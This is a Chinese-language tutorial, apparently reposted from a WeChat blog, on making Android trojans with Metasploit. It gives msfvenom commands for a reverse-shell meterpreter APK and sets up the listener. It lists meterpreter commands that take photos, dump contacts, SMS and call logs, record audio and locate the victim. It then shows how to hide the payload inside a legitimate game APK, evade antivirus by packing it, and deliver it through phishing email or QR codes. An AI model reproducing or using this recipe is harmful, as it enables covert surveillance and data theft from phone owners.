0x01 环境准备
1. 首先需要msf环境,要求java版本尽量为1.8。
2.安装Apktool
这里要求的apktool最好是最新版本的,很多linux机器上默认安装有apktool,但是版本比较老,需要更新
apt-get install apktool(这条命令大概率会失败)
或使用手动安装的方式进行安装
2.1获取apktool脚本
脚本地址:https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool(一定要打开网页右键保存,不能复制粘贴)将保存的文件名修改为apktool
2.2下载apktool.jar
下载地址:iBotPeaches / Apktool / Downloads ‒ Bitbucket
选择需要版本的apktool.jar,下载后将文件名修改为apktool.jar
2.3获取aapt文件
将下载好的apktool.jar解压,在prebuiltlinux目录下找到aapt文件
2.4开始配置
-
将aapt、apktool、apktool.jar文件全部上传至目标服务器中 -
创建/usr/local/aapt文件夹,将aapt移动至该目录中,并赋予+x权限 -
将apktool、apktool.jar文件移动到/usr/local/bin目录下,赋予+x权限
2.5重启电脑,验证配置
将电脑重启后,在命令行输入apktool,显示版本为新版即可
2.6卸载旧版方式
apt remove apktool
apt autoremove
3.安装keytool (集成在kali linux中了)
这个文件在java的bin目录下也有,设置软连接即可
apt-get install keytool
4.安装jarsigner
# 网上很多教程是去单独下载,然后再配置环境变量,经过多次实验发现,安装jdk即可
apt-get update apt-get install openjdk-11-jdk-headless
#如果已经安装JDK,则需找到jdk安装目录下的bin,将jarsigner添加软连接即可
ln -s /etc/opt/jdk-11.0.14/bin/jarsigner /usr/bin/
5.安装Zipalign
apt-get install zipalign
0x02 简单攻击方式
2.1 首先生成一个带木马的apk应用
msfvenom -p android/meterpreter/reverse_tcp lhost=0.0.0.0 lport=4444 R > t.apk
运行以上命令后,就会在目录下出现一个t.apk的应用
2.2 将生成的apk安装在安卓手机上
(注)如果出现安装失败等情况,需要对apk进行签名后,再安装
A. 使用zipalign对apk进行对齐
zipalign -v 4 t.apk tz.apk
B. 生成密钥对(仅第一次需要)
生成密钥对:
keytool -genkey -v -keystore cg.keystore -alias cg -keyalg RSA -keysize 2048 -validity 10000
解释:
keytool -genkeypair -keystore 密钥库名 -alias 密钥别名 -validity 天数 -keyalg RSA
C. 对apk进行签名验证
# 查看签名信息
apksigner verify -v --print-certs tz.apk
对apk进行签名
jarsigner -verbose -keystore cg.keystore -signedjar 签名后的apk名称 需签名apk keystore中的别名(不是文件名,即之前生成时写的cg)
注:上面的keystore中的别名,一定记住不是文件名,如果写文件名就会提示 jarsigner: 找不到 xxx 的证书链。xxx 必须引用包含私有密钥和相应的公共密钥证书链的有效密钥库密钥条目。
2.3 msf开启监听
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 4457
msf6 exploit(multi/handler) > run
2.4 点击运行安装的木马应用
(msf直接生成的apk木马应用是没有界面的,所以点击后没有任何变化)
2.5 使用msf shell获取安卓手机的信息
在上一步点击木马apk文件后,msf监听就已经获取到了shell连接
获取uid
guid
查看手机中的摄像头(前置和后置)
webcam_list
使用手机拍照(1为后置摄像头,照片存放在/root/目录下)
webcam_snap 1
导出手机中的通讯录
dump_contacts
导出手机中的短信记录
dump_sms
使用help命令可以查看更多用法
简单说明一些命令的含义
-
check_root #查看是否root -
dump_calllog #下载通讯记录 -
dump_contacts #下载联系人 -
dump_sms #下载短信 -
send_sms #发送短信 -
record_mic #录音 -
webcam_list #查看手机摄像头 -
webcam_snap #拍照 -
webcam_stream #连续拍照 -
geolocate #获取目标地理位置 -
upload #上传文件到手机 -
download #下载手机上的文件 -
shell #进入手机的bash shell
0x03将shell绑定到正常应用中
上面的用法比较简单,生成的木马apk也无法看到运行界面,这样的apk在用于钓鱼操作时就会显得比较垃圾,很容易被目标发现,导致钓鱼失败。如果我们可以将木马shell绑定到一个正常使用的apk中,效果就会更加明显。以下是具体的步骤:
3.1 正常apk应用选择
这里建议根据实际项目情况或钓鱼目标人群制作或者选取apk应用。同时需要注意,该应用需要未加壳的状态,且可以反编译重打包。
这里为了方便演示,选取自己编写的五子棋游戏apk进行。
3.2 生成简单的msf apk木马文件
metasploit中的msfvenom可以生成多种类型的攻击载荷,我们使用它生成一个apk木马,这个上面也简单介绍过。
msfvenom -p android/meterpreter/reverse_tcp lhost=0.0.0.0 lport=4444 R > t.apk
3.3 逆向msf apk及目标apk
首先,要对msf 生成的apk文件进行反编译,可以使用apktool,下面的命令将apk文件反编译,反编译出来的代码保存文件夹中,我们需要找到smail文件。
java -jar apktool.jar d -f -o <生成保存结果文件夹名> <msf apk路径>
如图所示,1.apk是我们刚才使用msf直接生成的木马apk文件,wuziqi.apk是我们自己的五子棋游戏apk。
3.4 将msf apk 和目标apk组合
首先对msf apk文件进行反编译操作,分析一下msf apk上线的核心代码。
反编译文件后,先查看apk所申请的相关权限和程序入口文件,这些信息存储在AndroidManifest.xml文件中。
程序入口是MainActivity,查看MainActivity.smali文件,发现调用了MainService中的startService函数
继续查看MainService.smali文件,在onStartCommand函数中,调用了payload的start函数
跟踪查看payload.smali文件,为了方便查看,可以将smali文件转成java文件查看。
可以看到payload文件中,定义了一个静态数组byte,用于存放msf生成的payload。而start函数则是运行payload的关键点。
所需我们只需要将msf生成的payload文件添加到正常应用中,并且在程序入口处添加msf payload的start函数调用即可。
根据刚才分析的思路,同样先打开五子棋游戏apk反编译后的文件,查看程序入口
可以发现程序入口为MainActivity.smali,但是当前应用申请的权限比msf apk少很多。根据之前的分析,将msf apk的smali文件添加到五子棋apk的smali文件夹下,注意文件目录结构,都在com文件下。
修改程序入口的函数调用,添加对payload-start函数的调用。找到入口文件的onCreate函数,在->onCreate(Landroid/os/Bundle;)V下面添加如下代码:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
该代码位于我们刚才分析的payload-start函数调用位置,对应java代码为Payload.start(this);
修改五子棋apk的MainActivity.smali文件
最后修改AndroidManifest.xml,由于五子棋游戏没有设计权限申请,但是msf apk需要一些系统权限,所以需要将所需的权限添加到五子棋apk的AndroidManifest.xml文件中。
先打开msf apk的AndroidManifest.xml文件,找到权限申请相关位置
然后打开五子棋apk的AndroidManifest.xml文件,将上面的权限申请配置添加到其中即可。
修改完成后,将所有文件保存,进行重编译
可以使用工具直接编译,也可以使用apktool进行编译,这里使用Android killer进行打包
Android killer重打包会添加签名,apktool打包后,需要手动添加签名。
将生成的新apk安装至手机中
3.5 获取msf shell
按照上面的步骤,开启msf监听,启动应用即可获取shell反弹
可以发现我们的五子棋apk还可以正常运行,但是在启动时,msf就获取到了shell的连接权限。
❝
如果要更换msf payload,只需要将新生成的msf apk逆向,替换了应用的smali文件后,重新打包即可。
❞
0x04 利用msfvenom一键注入到正常apk应用中。
4.1环境准备
首先需要先安装apkinjector,msfvenom重新组装apk时会调用。
apt-get install apkinjector
如果使用apt安装失败,可以到GitHub - jbreed/apkinjector: Android APK Antivirus evasion for msfvenom generated payloads to inject into another APK file for phishing attacks.github地址下载,然后导入到linux机器中,添加运行权限和环境变量即可。
4.2 msfvenom一键注入使用命令如下:
msfvenom -x <正常apk路径> -p android/meterpreter/reverse_tcp lhost=0.0.0.0 lport=4457 -f raw -o <存放注入后的apk路径>
其中2.apk是我们的正常apk应用,这里需要注意选择未加壳的apk进行绑定,a.apk是生成注入后的apk应用名称。
运行该命令后,会在当前目录下生成目标apk应用。
同样按照之前的操作:
-
对apk文件使用zipalign对齐 -
使用apksigner进行签名操作 -
Msf开启监听 -
安装apk并运行 -
利用反弹回来的shell操作
可以发现该应用正常运行,不影响原本功能使用,但是攻击者已经获取到shell权限,更加隐蔽。
0x05 绕过apk病毒检测
以上介绍了使用msf生成apk和将msf木马绑定到正常apk中的操作,但是msf生成是payload容易被一些杀毒软件检测,从而在安装时提醒存在木马,降低我们钓鱼的成功率。
不做任何加固,放在真实手机上安装,会提示存在病毒
可以采用加壳、混淆等方式,绕过杀毒软件的检测,将apk导入到爱加密平台进行加壳。
将加密后的apk下载到本地,使用签名工具签名(如果不签名,会出现安装失败的情况)
可以发现加密后的apk在安装时已经不会提示病毒存在了,查看权限
可以看到,该应用去申请了很多系统权限和敏感权限操作。继续在手机安装,msf平台依旧可以获取到shell,这里就不做展示了。
经过以上的操作,我们可以得到一个携带木马的apk文件,配合邮件钓鱼或者二维码方式,完成木马投递即可。
最后说一下,本文研究的技术是为了提高人员的安全意识,提醒各位请勿随便在网上下载应用,需要下载请到官方应用商店下载。
原文始发于微信公众号(土豆的疯言疯语):浅学Android木马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论